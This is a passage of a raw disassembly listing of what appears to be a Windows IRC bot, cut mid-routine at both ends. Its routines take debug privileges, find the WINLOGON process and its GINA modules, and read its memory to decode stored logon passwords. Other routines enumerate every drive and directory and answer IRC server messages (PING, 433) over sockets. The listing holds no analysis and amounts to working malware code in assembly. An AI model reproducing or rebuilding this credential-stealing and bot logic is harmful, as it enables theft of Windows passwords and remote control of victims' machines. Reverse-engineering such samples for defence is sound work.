[ebp+var_10] call sub_41DBA0 push edx push eax call sub_416EC1 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41BFF0 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DBA0 push edx push eax call sub_416EC1 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41BFF0 add esp, 18h pop ebx jmp short loc_4170D7 ; --------------------------------------------------------------------------- loc_4170A8: ; CODE XREF: sub_416FD0+2Cj ; sub_416FD0+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41BEF6 lea eax, [ebp+var_118] push esi push eax call sub_41BEF6 lea eax, [ebp+var_98] push esi push eax call sub_41BEF6 add esp, 18h loc_4170D7: ; CODE XREF: sub_416FD0+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170EB proc near ; CODE XREF: sub_4171BD+17p ; sub_4171BD+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416FD0 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C6E0 add esp, 10h test eax, eax jnz short loc_41715E push ebx push ebx call sub_416F3F pop ecx push eax push offset dword_43A868 lea eax, [ebp+var_500] push 200h push eax call sub_41BFF0 add esp, 14h jmp short loc_417192 ; --------------------------------------------------------------------------- loc_41715E: ; CODE XREF: sub_4170EB+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416F3F pop ecx push eax push offset dword_43A810 lea eax, [ebp+var_500] push 200h push eax call sub_41BFF0 add esp, 20h loc_417192: ; CODE XREF: sub_4170EB+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 lea eax, [ebp+var_500] push eax call sub_415F45 add esp, 18h pop edi pop esi pop ebx leave retn sub_4170EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171BD proc near ; CODE XREF: sub_401AA1+24F1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4171DE push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4170EB add esp, 10h jmp short loc_41723D ; --------------------------------------------------------------------------- loc_4171DE: ; CODE XREF: sub_4171BD+9j push esi push edi push ebx push ebx call dword_4CE270 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41BB45 pop ecx mov edi, eax push edi push esi call dword_4CE270 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_417234 loc_417202: ; CODE XREF: sub_4171BD+75j push offset aA_1 ; "A:\\" push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_417225 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4170EB add esp, 10h loc_417225: ; CODE XREF: sub_4171BD+54j push esi call sub_41B650 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_417202 loc_417234: ; CODE XREF: sub_4171BD+43j push edi call sub_41B721 pop ecx pop edi pop esi loc_41723D: ; CODE XREF: sub_4171BD+1Fj pop ebx pop ebp retn sub_4171BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417240 proc near ; DATA XREF: sub_401AA1+676Do var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_41B650 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_417295 lea eax, [ebp+var_114] push eax call sub_41B650 pop ecx mov [ebp+eax+var_115], bl loc_417295: ; CODE XREF: sub_417240+3Fj lea eax, [ebp+var_218] push eax push offset unk_43A8E4 lea eax, [ebp+var_49C] push 200h push eax call sub_41BFF0 add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4172DA push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409743 add esp, 14h loc_4172DA: ; CODE XREF: sub_417240+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_417358 push eax lea eax, [ebp+var_49C] push offset dword_43A8C4 push eax call sub_41BEF6 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_417338 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409743 add esp, 14h loc_417338: ; CODE XREF: sub_417240+D6j lea eax, [ebp+var_49C] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread pop edi pop esi pop ebx sub_417240 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417358 proc near ; CODE XREF: sub_417240+B9p ; sub_417358+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset dword_43A928 push esi push eax call sub_41BFF0 mov edi, dword_428128 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset dword_42B470 jz short loc_417415 loc_4173A4: ; CODE XREF: sub_417358+BBj test [ebp+var_144], 10h jz short loc_417401 cmp [ebp+var_118], 2Eh jnz short loc_4173C8 cmp [ebp+var_117], 0 jz short loc_417401 cmp [ebp+var_117], 2Eh jz short loc_417401 loc_4173C8: ; CODE XREF: sub_417358+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41BFF0 push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417358 add esp, 2Ch mov [ebp+arg_14], eax loc_417401: ; CODE XREF: sub_417358+53j ; sub_417358+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_428124 ; FindNextFileA test eax, eax jnz short loc_4173A4 loc_417415: ; CODE XREF: sub_417358+4Aj push [ebp+var_4] call dword_42811C ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41BFF0 add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41749B loc_41744C: ; CODE XREF: sub_417358+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset dword_43A90C push 200h push eax call sub_41BFF0 push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_428124 ; FindNextFileA test eax, eax jnz short loc_41744C loc_41749B: ; CODE XREF: sub_417358+F2j push esi call dword_42811C ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_417358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174AA proc near ; DATA XREF: sub_401AA1+1C29o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] rep movsd xor esi, esi inc esi mov [eax+90h], esi call sub_41AF54 cmp eax, esi mov [ebp+var_4], eax jz short loc_4174E9 cmp eax, 2 jz short loc_4174E9 push offset unk_43AB00 jmp loc_417628 ; --------------------------------------------------------------------------- loc_4174E9: ; CODE XREF: sub_4174AA+2Ej ; sub_4174AA+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419CCF pop ecx test eax, eax pop ecx jz loc_417623 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call dword_4280C0 ; LoadLibraryA mov esi, dword_4280C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D713C, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D7130, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D7340, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D7138, eax call esi ; GetProcAddress mov dword_4D7134, eax call sub_41767C test eax, eax mov [ebp+arg_0], eax jz loc_4175F6 mov esi, dword_42814C mov edi, 400h mov ebx, offset dword_4D6130 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_4D6930 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4D7344 push [ebp+arg_0] jnz short loc_4175A2 call sub_417805 jmp short loc_4175A7 ; --------------------------------------------------------------------------- loc_4175A2: ; CODE XREF: sub_4174AA+EFj call sub_4179A9 loc_4175A7: ; CODE XREF: sub_4174AA+F6j pop ecx test eax, eax pop ecx jz short loc_4175EF cmp dword_4D7344, 0 jnz short loc_4175D6 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_43A9C8 push 200h push eax call sub_41BFF0 add esp, 18h jmp short loc_417609 ; --------------------------------------------------------------------------- loc_4175D6: ; CODE XREF: sub_4174AA+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4175E6 call sub_417AD6 jmp short loc_4175EB ; --------------------------------------------------------------------------- loc_4175E6: ; CODE XREF: sub_4174AA+133j call sub_417B6D loc_4175EB: ; CODE XREF: sub_4174AA+13Aj pop ecx push eax jmp short loc_4175FB ; --------------------------------------------------------------------------- loc_4175EF: ; CODE XREF: sub_4174AA+101j push offset unk_43A990 jmp short loc_4175FB ; --------------------------------------------------------------------------- loc_4175F6: ; CODE XREF: sub_4174AA+B6j push offset unk_43A964 loc_4175FB: ; CODE XREF: sub_4174AA+143j ; sub_4174AA+14Aj lea eax, [ebp+var_29C] push eax call sub_41BEF6 pop ecx pop ecx loc_417609: ; CODE XREF: sub_4174AA+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419CCF pop ecx pop ecx push [ebp+var_8] call dword_428148 ; FreeLibrary pop ebx jmp short loc_417636 ; --------------------------------------------------------------------------- loc_417623: ; CODE XREF: sub_4174AA+4Ej push offset unk_43A930 loc_417628: ; CODE XREF: sub_4174AA+3Aj lea eax, [ebp+var_29C] push eax call sub_41BEF6 pop ecx pop ecx loc_417636: ; CODE XREF: sub_4174AA+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_41765D push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409743 add esp, 14h loc_41765D: ; CODE XREF: sub_4174AA+191j lea eax, [ebp+var_29C] push eax call sub_415F45 push [ebp+var_18] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_4174AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41767C proc near ; CODE XREF: sub_4174AA+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_428158 mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, dword_428154 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D713C ; ZwQuerySystemInformation push ebp push 0 call esi ; GetProcessHeap push eax call dword_428150 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D713C ; ZwQuerySystemInformation test eax, eax jnz short loc_417769 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417769 xor ecx, ecx mov ebx, ebp inc ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417769 loc_417705: ; CODE XREF: sub_41767C+EBj cmp word ptr [ebx+8], 5 jnz short loc_41775C push 0 push 0 call dword_4D7130 ; RtlCreateQueryDebugBuffer mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D7340 ; RtlQueryProcessDebugInformation test eax, eax jnz short loc_41774D mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DC4A pop ecx push eax call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_417781 loc_41774D: ; CODE XREF: sub_41767C+AAj test edi, edi jz short loc_417758 push edi call dword_4D7138 ; RtlDestroyQueryDebugBuffer loc_417758: ; CODE XREF: sub_41767C+D3j mov eax, [esp+28h+var_10] loc_41775C: ; CODE XREF: sub_41767C+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417705 loc_417769: ; CODE XREF: sub_41767C+6Dj ; sub_41767C+7Aj ... xor edi, edi loc_41776B: ; CODE XREF: sub_41767C+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call dword_428150 ; RtlFreeHeap mov eax, edi loc_417779: ; CODE XREF: sub_41767C+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417781: ; CODE XREF: sub_41767C+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4177EA lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417797: ; CODE XREF: sub_41767C+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DC4A pop ecx push eax call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4177FE push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DC4A pop ecx push eax call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4177DC mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4177DC: ; CODE XREF: sub_41767C+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417797 loc_4177EA: ; CODE XREF: sub_41767C+10Fj test edi, edi jz short loc_4177F5 push edi call dword_4D7138 ; RtlDestroyQueryDebugBuffer loc_4177F5: ; CODE XREF: sub_41767C+170j mov edi, [esp+28h+var_4] jmp loc_41776B ; --------------------------------------------------------------------------- loc_4177FE: ; CODE XREF: sub_41767C+13Cj xor eax, eax jmp loc_417779 sub_41767C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417805 proc near ; CODE XREF: sub_4174AA+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call dword_42808C ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_41782E xor eax, eax jmp loc_4179A6 ; --------------------------------------------------------------------------- loc_41782E: ; CODE XREF: sub_417805+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call dword_428164 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_428158 push 8 call esi ; GetProcessHeap mov edi, dword_428154 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, dword_428160 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_41787E xor esi, esi jmp loc_417999 ; --------------------------------------------------------------------------- loc_41787E: ; CODE XREF: sub_417805+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call dword_42815C ; VirtualQueryEx test eax, eax jz loc_417988 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_417988 test [ebp+var_2B], 1 jnz loc_417988 push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_417988 loc_4178E1: ; CODE XREF: sub_417805+110j push edi push offset dword_4D6130 call sub_426E95 pop ecx test eax, eax pop ecx jnz short loc_417909 lea eax, [edi+200h] push eax push offset dword_4D6930 call sub_426E95 pop ecx test eax, eax pop ecx jz short loc_417919 loc_417909: ; CODE XREF: sub_417805+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jb short loc_4178E1 jmp short loc_417988 ; --------------------------------------------------------------------------- loc_417919: ; CODE XREF: sub_417805+102j test edi, edi jz short loc_417988 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call dword_428000 ; FileTimeToLocalFileTime test eax, eax jz short loc_417954 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call dword_428120 ; FileTimeToSystemTime test eax, eax jz short loc_417954 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_417954: ; CODE XREF: sub_417805+12Bj ; sub_417805+13Dj movzx eax, byte ptr [edi+42Dh] mov dword_4D7350, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D7348, eax mov dword_4D734C, edi loc_417988: ; CODE XREF: sub_417805+90j ; sub_417805+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call dword_428150 ; RtlFreeHeap mov esi, [ebp+var_10] loc_417999: ; CODE XREF: sub_417805+74j push [ebp+var_4] call dword_428070 ; CloseHandle pop edi mov eax, esi pop ebx loc_4179A6: ; CODE XREF: sub_417805+24j pop esi leave retn sub_417805 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179A9 proc near ; CODE XREF: sub_4174AA:loc_4175A2p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push [ebp+arg_0] push 0 push 410h call dword_42808C ; OpenProcess test eax, eax mov [ebp+arg_0], eax jnz short loc_4179C8 leave retn ; --------------------------------------------------------------------------- loc_4179C8: ; CODE XREF: sub_4179A9+1Bj mov eax, [ebp+arg_4] push ebx push esi push edi and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call dword_428164 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417A90 mov edi, dword_428158 loc_4179F2: ; CODE XREF: sub_4179A9+E1j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call dword_42815C ; VirtualQueryEx test eax, eax jz short loc_417A7E mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417A84 test [ebp+var_13], 1 jnz short loc_417A84 push ecx push 8 call edi ; GetProcessHeap push eax call dword_428154 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call dword_428160 ; ReadProcessMemory test eax, eax jz short loc_417A70 push offset dword_4D6130 push esi call sub_426E95 pop ecx test eax, eax pop ecx jnz short loc_417A70 lea eax, [esi+400h] push offset dword_4D6930 push eax call sub_426E95 pop ecx test eax, eax pop ecx jz short loc_417AA2 loc_417A70: ; CODE XREF: sub_4179A9+9Dj ; sub_4179A9+AEj push esi push 0 call edi ; GetProcessHeap push eax call dword_428150 ; RtlFreeHeap jmp short loc_417A84 ; --------------------------------------------------------------------------- loc_417A7E: ; CODE XREF: sub_4179A9+5Bj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417A84: ; CODE XREF: sub_4179A9+6Fj ; sub_4179A9+75j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4179F2 loc_417A90: ; CODE XREF: sub_4179A9+3Dj xor esi, esi loc_417A92: ; CODE XREF: sub_4179A9+12Bj push [ebp+arg_0] call dword_428070 ; CloseHandle mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417AA2: ; CODE XREF: sub_4179A9+C5j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D7348, ebx mov dword_4D734C, eax cmp [eax], cl jnz short loc_417AC4 cmp [eax+1], cl jz short loc_417ACC loc_417AC4: ; CODE XREF: sub_4179A9+114j ; sub_4179A9+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417AC4 loc_417ACC: ; CODE XREF: sub_4179A9+119j mov eax, [ebp+arg_4] xor esi, esi inc esi mov [eax], ecx jmp short loc_417A92 sub_4179A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AD6 proc near ; CODE XREF: sub_4174AA+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D7344 push esi mov esi, dword_428158 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call dword_428154 ; RtlAllocateHeap mov ecx, dword_4D7344 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D734C push eax call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D7350 push eax call dword_4D7134 ; RtlRunDecodeUnicodeString push [ebp+var_4] mov edi, offset dword_4D7140 push offset dword_4D6130 push offset dword_4D6930 push [ebp+arg_0] push offset dword_43AB50 push 200h push edi call sub_41BFF0 add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call dword_428150 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_417AD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B6D proc near ; CODE XREF: sub_4174AA:loc_4175E6p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D7344 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call dword_428158 ; GetProcessHeap push eax call dword_428154 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D6930 mov edi, 200h mov esi, offset dword_4D5F30 loc_417BB3: ; CODE XREF: sub_417B6D+FAj mov eax, dword_4D7344 add eax, eax push eax push dword_4D734C push [ebp+var_14] call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D7134 ; RtlRunDecodeUnicodeString mov eax, dword_4D7344 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417C28 loc_417BF0: ; CODE XREF: sub_417B6D+B3j cmp [ebp+var_8], 0 jz short loc_417C45 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417C14 cmp byte ptr [ecx+1], 0 jnz short loc_417C14 cmp dl, 20h jnb short loc_417C0E and [ebp+var_8], 0 loc_417C0E: ; CODE XREF: sub_417B6D+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417C18 loc_417C14: ; CODE XREF: sub_417B6D+90j ; sub_417B6D+96j and [ebp+var_8], 0 loc_417C18: ; CODE XREF: sub_417B6D+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417BF0 cmp [ebp+var_8], 0 jz short loc_417C45 loc_417C28: ; CODE XREF: sub_417B6D+81j push [ebp+var_14] push offset dword_4D6130 push ebx push [ebp+arg_0] push offset dword_43AB50 push edi push esi call sub_41BFF0 add esp, 1Ch jmp short loc_417C5D ; --------------------------------------------------------------------------- loc_417C45: ; CODE XREF: sub_417B6D+87j ; sub_417B6D+B9j push offset dword_4D6130 push ebx push [ebp+arg_0] push offset dword_43ABA0 push edi push esi call sub_41BFF0 add esp, 18h loc_417C5D: ; CODE XREF: sub_417B6D+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417BB3 push [ebp+var_14] push 0 call dword_428158 ; GetProcessHeap push eax call dword_428150 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_417B6D endp ; =============== S U B R O U T I N E ======================================= sub_417C86 proc near ; CODE XREF: sub_401AA1+3259p ; sub_401AA1+32C0p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42BDD8 ; "\n" push edi call sub_41C530 pop ecx mov esi, offset dword_4D735C pop ecx loc_417C9E: ; CODE XREF: sub_417C86+42j cmp dword ptr [esi-4], 1 jnz short loc_417CBC cmp dword ptr [esi], 0 jbe short loc_417CBC push 0 push edi call sub_41B650 pop ecx push eax push edi push dword ptr [esi] call dword_4CE358 ; send loc_417CBC: ; CODE XREF: sub_417C86+1Cj ; sub_417C86+21j add esi, 210h cmp esi, offset dword_4DDA7C jl short loc_417C9E pop edi pop esi retn sub_417C86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CCD proc near ; CODE XREF: sub_417DC2+14Fp var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42F5E8 ; " " push edi push esi push [ebp+arg_0] call sub_41C764 xor edi, edi pop ecx inc edi pop ecx mov [ebp+var_20], eax xor ebx, ebx loc_417CF1: ; CODE XREF: sub_417CCD+35j push esi push ebx call sub_41C764 mov [ebp+edi*4+var_20], eax inc edi pop ecx cmp edi, 8 pop ecx jl short loc_417CF1 cmp [ebp+var_20], ebx mov esi, [ebp+var_1C] jnz short loc_417D18 cmp esi, ebx jnz short loc_417D18 xor eax, eax inc eax jmp loc_417DBD ; --------------------------------------------------------------------------- loc_417D18: ; CODE XREF: sub_417CCD+3Dj ; sub_417CCD+41j push [ebp+var_20] push offset aPing ; "PING" call sub_41C6E0 pop ecx pop ecx test eax, eax push esi jnz short loc_417D42 lea eax, [ebp+var_220] push offset dword_43B7B8 push eax call sub_41BEF6 add esp, 0Ch jmp short loc_417D9C ; --------------------------------------------------------------------------- loc_417D42: ; CODE XREF: sub_417CCD+5Dj push offset a433 ; "433" call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_417D63 push esi push offset dword_43B7B4 call sub_41C6E0 pop ecx test 